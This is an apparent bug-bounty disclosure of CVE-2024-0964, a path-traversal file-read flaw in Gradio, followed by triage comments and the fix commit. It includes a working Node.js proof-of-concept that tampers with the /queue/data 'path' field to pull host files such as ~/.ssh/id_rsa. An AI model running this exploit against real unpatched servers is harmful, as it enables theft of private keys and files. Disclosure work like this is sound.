

Arbitrary File Reading due to Lack of Input Filepath Validation in gradio-app/gradio

✓ Valid

Reported on Dec 6th 2023

Description

Root cause of this vulnerability is somewhat challenging for me to address as I haven't had enough time to fully comprehend concepts and the architecture of Gradio. However, the vulnerability is clear and the proof of concept (POC) is straightforward as described below.

This vulnerability stems from Gradio's utilization of two APIs, `/queue/join` and `/queue/data`, to facilitate data interaction between the frontend and backend. Inadequate data management during this communication allows attackers to manipulate the data in the middle to achieve their objectives.

Specifically, during the interaction between frontend and backend, we tend to see a request via API `/queue/data` with a payload such as (Depending how the gradio app is constructed):

```
{
  "data": [
    [
      {
        "path": "/tmp/gradio/1acfd6abf072610f1da06229316c79545c63e870/test.csv",
        "url": "http://127.0.0.1:7860/file=/tmp/gradio/1acfd6abf072610f1da0622931",
        "orig_name": "test.csv",
        "size": 51,
        "mime_type": ""
      }
    ]
  ],
  "event_data": null,
  "fn_index": 0,
  "trigger_id": 8,
  "session_hash": "",
  "event_id": "...."
}
```

sent to the server, the payload contains a file path parameter (**In a normal gradio app, this file path is created by the backend, the backend should know it already, but maybe by design, it

forgets and need it back from the frontend? This gives us chance to interfere :D **)

This payload undergoes multiple processing functions in the backend later on. Among these processing functions, there is a function of our interest, named the `save_file_to_cache` in `graido/processing_utils.py` file . This function takes that user-controlled file path, checks if the file exists, saves it to the cache/tmp folder, and returns the new cache path for the file object. The file object with the new path is then used in various places in later processings, such as in the 'Gradio components' used in our Gradio application, where the file data is processed further and returned to the end user.

We can modify the "path" parameter in the request to make Gradio copy the file we desire to the cache/temp folder of Gradio. Then the file we target can be downloaded directly via api `/file=temp_path_to_the_copied_file` (Suppose we know its name, but there are indirect ways to download it as we will see shortly in the POC below)

Proof of Concept

1 - Please ensure that you have Gradio installed on your machine. You can install it using the command `pip install gradio`.

2 - For the demonstration of this POC, we will use a Gradio app called `zip_files` provided in the 'demo' folder of the Gradio repository on GitHub (`gradio/demo/zip_files`). The code for the app is very simple (The app allows us to upload a file and download its compressed file), as shown below:

```
import os
from zipfile import ZipFile

import gradio as gr

def zip_files(files):
    with ZipFile("tmp.zip", "w") as zipObj:
        for idx, file in enumerate(files):
            zipObj.write(file.name, file.name.split("/")[-1])
    return "tmp.zip"

demo = gr.Interface(
    zip_files,
    gr.File(file_count="multiple", file_types=["text", ".json", ".csv"]),
    "file",
    examples=[[os.path.join(os.path.dirname(__file__), "files/titanic.csv"),
os.path.join(os.path.dirname(__file__), "files/titanic.csv"),
os.path.join(os.path.dirname(__file__), "files/titanic.csv")]],
    cache_examples=True
)
```

```
if __name__ == "__main__":  
    demo.launch()
```

3 - Navigate to the `zip_files` folder and start the app using the command `gradio run.py`.

4 - Create a script (say `app.js`) to steal data from the host machine as follows: (Because Gradio uses SSE (Server-Sent Event communication), I found it difficult to intercept the request with Owasp proxy or Burp suite and end up making a script for the POC instead)

- *Init a node project:*

```
npm init
```

- *Install following dependencies:*

```
npm install node-fetch@2.6.1  
npm install eventsourcing
```

- *Write `poc/app.js`:*

```
const EventSource = require('eventsourcing');  
const fetch_implementation = require('node-fetch');  
  
if (!process.argv[2]) {  
    console.log("Usage: node app.js [target-filepath]");  
    process.exit(1);  
}  
  
FILE_TO_STEAL = process.argv[2];  
  
async function post_data(url, body) {  
    const headers = { "Content-Type": "application/json" };  
    try {  
        var response = await fetch_implementation(url, {  
            method: "POST",  
            body: JSON.stringify(body),  
            headers  
        });  
    } catch (e) {  
        console.log(e)  
    }  
    //console.log(response.body)  
}  
  
const url = 'http://127.0.0.1:7860/queue/join?fn_index=0&session_hash='; // Replace  
const eventSource = new EventSource(url);  
eventSource.onmessage = async function (event) {
```

```

// GET DATA CONTAINING EVENT_ID
let resp = JSON.parse(event.data);
try {
  console.log("The file is available at: http://127.0.0.1:7860/file=" + resp.output
}
catch(e) {
}

if (!resp.event_id) return;

// USE THE EVENT ID ABOVE TO ISSUE DATA ACTION
let payload =
{
  "data": [
    [
      {
        "path": FILE_TO_STEAL,
        "url": "http://127.0.0.1:7860/file=/tmp/gradio/1acfd6abf072610f1da0622931
        "orig_name": "test.csv",
        "size": 51,
        "mime_type": ""
      }
    ]
  ],
  "event_data": null,
  "fn_index": 0,
  "trigger_id": 8,
  "session_hash": "",
  "event_id": resp.event_id
}

await post_data(
  'http://127.0.0.1:7860/queue/data',
  {
    ...payload,
  }
);
};

eventSource.onerror = function (error) {};

```

5 - Suppose the host machine has a file with the following path: `~/.ssh/id_rsa`, and we want to steal it. We can run the script as `node app.js ~/.ssh/id_rsa`

.

6 - The link to download the file will be displayed on the screen as below, and we simply need to visit the link to download it.

```

$node app.js ~/.ssh/id_rsa
The file is available at: http://127.0.0.1:7860/file=/tmp/gradio/6f34ec8b55a4b73cb179ed7d9caa170b1c6a222c/tmp.zip

```

.

7 - Once the downloaded file is opened and uncompressed, we will obtain the desired file.

Video Demo

https://drive.google.com/file/d/1M_KxOubAXDvSXwyhgrecFojP1nwh8WEy/view?usp=sharing.

Impact

1 - Unauthorized Access to Sensitive Files

2 - Information Disclosure

3 - System Compromise: Once an attacker gains access to sensitive files, they may be able to further exploit the compromised system, escalate privileges, pivot to other systems, or perform other malicious activities.

4 - Availability of the host system: The vulnerability can allow attackers to copy large existing files in the system to a cache/tmp folder. This can take up processing time of the application itself or fill up the disk space of the host machine.

Occurrences

processing_utils.py L182

References

- [Path_Traversal](#)

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago

📝 **CybrX** modified the report 2 years ago

📝 **CybrX** modified the report 2 years ago

📝 **CybrX** modified the report 2 years ago

📝 **CybrX** modified the report 2 years ago

📝 **CybrX** modified the report 2 years ago

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago

CybrX commented 2 years ago

Researcher

Hi, any updates on this?

CybrX commented 2 years ago

Researcher

I just have a checked, this vulnerability have just been fixed in this commit
<https://github.com/gradio-app/gradio/commit/d76bcaaaf0734aaf49a680f94ea9d4d22a602e70#diff-324a7165f5d5a8823a28b76f5653fa45f32c8144c82b2e528882c97c7eae534fL662>

 Dan McInerney modified the Severity from Critical (10) to High (7.5) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ Dan McInerney validated this vulnerability 2 years ago

Hi CybrX,

Great write up. Since maintainer never followed up we're marking valid. However, per NIST standards on our previous LFI CVEs, they set them to 7.5 CVSS across the board and our job as a CNA is to follow NIST standards as accurately as possible so I have to move this down to 7.5. I'll undo the reputation penalty after this.

Thanks, Dan McInerney Lead Threat Researcher

\$ williwollo has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-0964 assigned to this report. 2 years ago

 Dan McInerney gave praise 2 years ago

Undo CVSS modification rep penalty. Good report.

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

CybrX commented 2 years ago

Researcher

Thank you, Dan!

✓ Dan McInerney marked this as fixed in x with commit d76bca 2 years ago

\$ The fix bounty has been dropped ✗

\$ processing_utils.py#L182 has been validated ✓



This vulnerability has now been published 2 years ago



CVE-2024-0964 has now been published 2 years ago

Robert Scott commented 2 years ago

Something that's unclear to me about this issue - does it *only* work when using the `demo/zip_files` app? And if so, does that not make it a vulnerability in the *demo app*, not gradio itself? I don't think anyone with any sense is going to use the demo app for anything other than an example.

Robert Scott commented 2 years ago

Ok, no answer. I'm going to treat this as Not A Vulnerability.

Dan McInerney commented 2 years ago

[Admin](#)

It's not necessarily just in the Zip example, it's in any gradio app that takes an input file, does something to it, and then returns it. The issue is the trust in the user-supplied "path" parameter in the `/queue/data` API call which is unnecessary trust, as the backend already has the path knowledge of the temporary storage of the uploaded file.

So while it's true whether a Gradio app is vulnerable depends on the implementation, the fact a default example of a simple Gradio use-case of uploading a file, performing some action on it, then returning it, is vulnerable says that this is generalization enough that a statistically significant amount of Gradio deployments have this unexpected behavior.

Robert Scott commented 2 years ago

So that sounds more like it's a vulnerability in the `File()` component and not restricted to the `zip_files` demo. Might <https://github.com/gradio-app/gradio/pull/7183> be a reaction to this and if so, do we know if <https://github.com/gradio-app/gradio/releases/tag/gradio%404.18.0> resolves the issue?

[Sign in](#) to join this conversation

CVE

CVE-2024-0964

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

4.8.0

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



CybrX

@williwollo

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

